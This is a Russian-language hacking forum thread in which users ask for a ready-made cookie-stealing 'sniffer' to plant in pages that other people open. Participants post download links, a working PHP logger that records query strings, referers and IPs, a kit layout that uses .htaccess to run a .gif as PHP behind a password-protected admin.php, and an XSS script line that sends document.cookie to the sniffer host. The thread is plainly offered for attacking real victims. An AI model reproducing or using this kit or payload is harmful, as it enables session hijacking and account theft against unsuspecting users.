Нужен сниффер

[SHOKEDjke]

Народ подкиньте нормальный сниффер, ворующий кукисы, заранее спасибо :)
*чтобы его вшить в страницу которую будут открывать юеры

[ultradron]

АП.
Тож просил,но нико не дал сниффер.Удачи тебе.Есл найдешь,отправь мне плз.
Заранее спс

[.::BARS::.]

http://kanick.ru/sniffer/
http://www1.hut.ru/download.html
http://i-vd.org.ru/scripts/?i=idvantuz&category=cat2&ch=cat10
http://www.web-hack.ru/download/?case=12
http://forum.antichat.ru/threadnav48765-1-10.html
http://www.secnull.org/index.php?net=articles&act=show&aid=169
http://www.fssr.ru/hz.php?name=News&file=article&sid=6996

[ultradron]

мдя...типо гугл рулит?
Я просто надеялся, что кто-то выложит свое творение. А не стандартный сниффер.

[.::BARS::.]

гугл рулит - это неоспоримо =))))
чем тебя эти не устраивают? опиши тогда что именно увидеть хочешь?

[SHOKEDjke]

снифер который будет воровать кукисы! дайте на него ссылку!

*как юзать сниферы знаю, хостинг с PHP ест, только снифера нормального нету =(

[ultradron]

этот сниффер просто находится в платной версии.Или надо писать его самому.
Хочется что то по типу этого: http://kanick.ru/sniffer/
С админкой,чтоб воровало куки,и хотелось бы волшебную палочку,но это уже бизнес класс))))

[LStr1ke]

<?php
$log="log.txt";
$file = fopen ($log, "a+");
$qu=UrlDecode(getenv(*QUERY_STRING*));
$ref=UrlDecode(getenv(*HTTP_REFERER*));
$ip=getenv(*REMOTE_ADDR*);
$now = getdate();
$nowstring=$now[*mday*].".".$now[*mon*].".".$now[*year*]." ".$now[*hours*].":".$now[*minutes*].":".$now[*seconds*];
$str="[$nowstring] IP=$ip REFERER=$ref QUERY=$qu ||\n";
fputs ($file, $str);
fclose($file);
header(*Location: image.gif*);
?>

[ultradron]

Скинул бы все файлы в архиве><

[LStr1ke]

OMG
body.php (Это скрипт, его содержимое уже выложил)
image.gif (Любоая картинка)
log.txt (Тут будут отчеты)

[ultradron]

я хз,залил на хост.Протестил.Не записывает в log.txt
В чем проблема?

[satana-fu]

права 777 не забудь поставить на log.txt

[ultradron]

да сделал...все равно пусто.Поэтому и прошу скинуть все в одном архиве.И чтоб это было проверенно.

[.::BARS::.]

<?php
$log="log.txt";
$file = fopen ($log, "a+");
$qu=UrlDecode(getenv(*QUERY_STRING*));
$ref=UrlDecode(getenv(*HTTP_REFERER*));
$ip=getenv(*REMOTE_ADDR*);
$now = getdate();
$nowstring=$now[*mday*].".".$now[*mon*].".".$now[*year*]." ".$now[*hours*].":".$now[*minutes*].":".$now[*seconds*];
$str="[$nowstring] IP=$ip REFERER=$ref QUERY=$qu ||\n";
fputs ($file, $str);
fclose($file);
header(*Location: image.gif*);
?>


* = '

[ultradron]

Короче,по возможности скинуть сниффер в архиве,чтоб воровал куки и была админка

[LStr1ke]

Вот: http://www.rapidshare.ru/1230015
Накатал самый бональный вариант. =\\
snif.gif (Сниффер внутри php код)
log.txt (Файл логов) Желательно переименуй его и измени ссылки на него в snif.gif, admin.php
admin.php (Читает лог файл по паролю)
.htaccess (Позволяет картинки .gif интерпретировать как php)
Еслиголова работает, можешь заточить его под себя как надо

[ultradron]

Норм)только бы еще он куки воровал))

[Kusto]

Норм)только бы еще он куки воровал))
угу и ещеб сам он xss искал на атакуемом сайте- правда?)))

[ultradron]

Просто я видел оформленный сниффер.Мне оч понравился.С админкой,с оформлением.Такой же с нуля писать лень(((
Понимаю что вряд ли кто то таким делится будет.

[Kusto]

Такой же с нуля писать лень(((
судя по вопросам которые ты только что задавал- что то мне подсказывает что ты немного кривиш душой насчет лень....а сделать админку и оформление- это уже как кому больше нравиться думаю что ненадо лениться и можно черкнуть десяток строчек HTML (твоя просьба составлена по типу- помойте у меня дома полы а то мле лень, здесь готовый код дают только тому кто действительно не может сделать его сам а не тому кто лениться)) :D

[ultradron]

Да мне это не так важно,просто хотелось иметь такую же хрень.А сидеть писать те же пару строк,мне просто в падлу.

[LStr1ke]

Норм)только бы еще он куки воровал))
Ты умеешь пользоваться сниффером?
Ппц еще один хочет универсальный хекер интернета =\
Вот так он ворует куки. Вернее тебе нужно своровать с помощью его.
Тут нужна пассивная или активная XSS. =\
<script>
var im1 = new Image(); im1.src="http://localhost/sniffer/snif.gif"+document.cookie;
</script>

[ReduKToR]

www.online-sniffer.ru \\\\\норм снифак)

[Gar|k]

тебе в падлу писать код? ты чо васян попутался? это кодить западло получается, да? слыыышь!

:) вывод - читай матчасть по XSS и пиши по русски.